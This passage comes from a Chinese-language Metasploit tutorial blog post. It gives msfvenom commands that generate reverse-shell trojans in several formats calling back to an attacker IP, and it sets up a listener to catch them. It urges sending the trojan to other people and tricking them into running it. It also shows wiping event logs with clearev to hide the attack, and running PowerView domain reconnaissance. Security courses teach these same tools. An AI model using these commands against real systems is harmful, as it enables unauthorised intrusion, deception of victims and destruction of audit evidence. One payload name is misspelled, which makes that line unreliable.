msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f  aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.py

3、运行 msfconsole 进入MSF控制台,然后输入以下命令

use exploit/multi/handler  #使用exploit/multi/handler监听从肉鸡发来的数据
set payload windows/meterpreter/reverse_tcp  #设置payload,不同的木马设置不同的payload
set lhost 192.168.230.130  #我们的主机ip
set lport 8888            #我们的主机端口
exploit

        然后,将木马发送给其他人,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。

        因为我们刚刚把进程挂在后台,所以我们输入:sessions  -l  可以查看到我们得到的shell,使用 sessions -i  1 可以进入指定的shell,我们这里只有一个,所以id为1。如图,我们成功拿到了其他主机的shell

7.20 清除事件日志

        完成攻击操作之后,千万别忘了"打扫战场"。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用以下命令来清除事件日志:

clearev  #清除事件日志

        8. 导入并执行PowerShell脚本

如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户:

load powershell                           			#加载powershell功能
powershell_import /root/PowerView.ps1      			#导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain           			#执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
powershell_execute Invoke-UserHunter      			#该功能模块用于定位域管理员登录的主机;
powershell_execute Get-NetForest           			#该模块用于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin 	    #枚举域中所有计算机上本地管理员组的成员

        9. 加载stdapi

        有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。

load stdapi

        10. 升级Session

        有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是post/multi/manage/shell_to_meterpreter 模块。

session -u 1

五、总结

        本篇文章部分参考了up剑客 getshell的文章,侵可删。

【工具使用】——Metasploit(MSF)使用详解(超详细)_剑客 getshell的博客-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_45588247/article/details/119614618?ops_request_misc=&request_id=&biz_id=102&utm_term=Metasploit(MSF)%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-119614618.142^v94^control&spm=1018.2226.3001.4187        在模拟的同时,发现某些细节有点缺失,进行了一部分补充的同时自己有了一些新的发现和感悟,同时向up:剑客 getshell、安全小菜鸟、Beyond My、PT_silver、小白骏贤致谢。

        读者大大如果在阅读的时候发现问题,可以私信,在线秒回。同时也欢迎各位大佬指正文章纰漏之处。

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐